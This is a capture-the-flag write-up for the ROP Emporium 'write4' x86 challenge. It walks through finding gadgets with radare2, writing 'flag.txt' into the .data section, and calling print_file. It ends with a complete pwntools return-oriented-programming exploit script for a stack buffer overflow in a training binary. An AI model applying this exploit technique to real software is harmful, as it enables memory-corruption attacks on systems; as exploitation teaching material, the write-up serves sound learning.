ROP Emporium write4 Writeup (x86)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the fourth challenge of eight.
According to the challenge page our goal is to call print_file() with the name of the file to read as the first argument. The string flag.txt doesn’t exist in the binary, so we will need to write it there ourselves!
This is what a hint will look like!
Exploit Crafting
The offset for x86 challenges will be 44 bytes. If you want to know how to find this value see the first writeup for this series.
Write Gadget
Check out
usefulFunction’s assembly
Using radare2 we can analyze a binary by running aaa. We will need to write flag.txt to memory so let’s check the usefulGadgets section in usefulFunction We can view the assembly with the following commands
1
2
3
s sym.usefulFunction
V
p
The mov instruction will set the value from ebp (4 byte qword) into the dereferenced address set in edi. This is what we’ll use to write to memory! The gadget address is 0x08048543
Mov Arguments
Find a gadget to control
ediandebpalong with a writable program segment
Now we need to find a gadget which can control edi and ebp to control what to write and where to write it. We can use the /R command to search for gadgets
1
/R pop edi
There are a few which come up but might as well use this one. Remember we can control where we jump so we can skip the pop ebx and pop esi instructions entirely! The address we’ll use to set edi and ebp is 0x080485aa
Now that we can control where to write and what to write, where and what should we write? We want to open flag.txt so we’ll set that into ebp. But we need to find a suitable location to write to. We can view writable sections with the command iS
We need to find a section with the w permission and a size of at least 8 bytes (0x08). Let’s use the .data section which has the address 0x0804a018
The python code to write data to an address looks like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/python3
from pwn import *
# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
    payload = b''
    # write every 4 bytes of a string
    for i in range(0, len(s), 4):
        # address to write to
        edi = p32(addr + i)
        # prevent slice out of bounds
        j = i+4
        if j >= len(s):
            j = len(s)
        # 4 bytes to write
        ebp = p32(int.from_bytes(s[i:j], 'little'))
        # set mov args
        payload += p32(pop_edi_ebp)
        payload += edi
        payload += ebp
        # write bytes
        payload += p32(write_gadget)
    return payload
print_file()
Find the
print_fileaddress and a gadget whichpops any register
First let’s find the address of print_file() using the command afl
print_file is part of a library so we can just use the address of corresponding plt entry, 0x080483d0
Now we need to set the first argument to this function. According to the x86 calling convention, function arguments are passed through the stack. Remember from the callme challenge that we’ll need to set a pop gadget as a function’s return address to keep the stack maintained for additional function calls. We can just use the pop gadget we found earlier!
Since we only want to pop one argument off of the stack we can just execute pop ebp. This makes our gadget address 0x080485ab
Here’s a reusable function to add arguments to the stack in x86
1
2
3
4
5
6
7
8
9
10
#!/bin/python3
from pwn import *
# add arguments to stack (x86)
def add_args(args):
    # fix stack after func returns
    payload = p32(pop_ebp)
    for a in args:
        payload += p32(a)
    return payload
Exploit
We finally have everything to build the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/bin/python3
from pwn import *
# useful addresses
write_gadget = 0x08048543   # mov qword [edi], ebp
pop_edi_ebp = 0x080485aa
data_addr = 0x0804a018
print_file_addr = 0x080483d0
pop_ebp = 0x080485ab
# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
    payload = b''
    # write every 4 bytes of a string
    for i in range(0, len(s), 4):
        # address to write to
        edi = p32(addr + i)
        # prevent slice out of bounds
        j = i+4
        if j >= len(s):
            j = len(s)
        # 4 bytes to write
        ebp = p32(int.from_bytes(s[i:j], 'little'))
        # set mov args
        payload += p32(pop_edi_ebp)
        payload += edi
        payload += ebp
        # write bytes
        payload += p32(write_gadget)
    return payload
# add arguments to stack (x86)
def add_args(args):
    # fix stack after func returns
    payload = p32(pop_ebp)
    for a in args:
        payload += p32(a)
    return payload
# create payload
payload = b'A' * 44
# write flag.txt to data section
payload += write_str(data_addr, b'flag.txt')
# call print_file(flag_txt_addr)
payload += p32(print_file_addr)
payload += add_args([data_addr])
# send payload + receive flag
io = process('./write432')
io.send(payload)
io.recvuntil(b'Thank you!\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))
Conclusion
In this challenge we learned how to write arbitrary data to memory. By this point we should be relatively comfortable finding and chaining gadgets together. Next we’ll learn how to deal with forbidden characters in our payload.




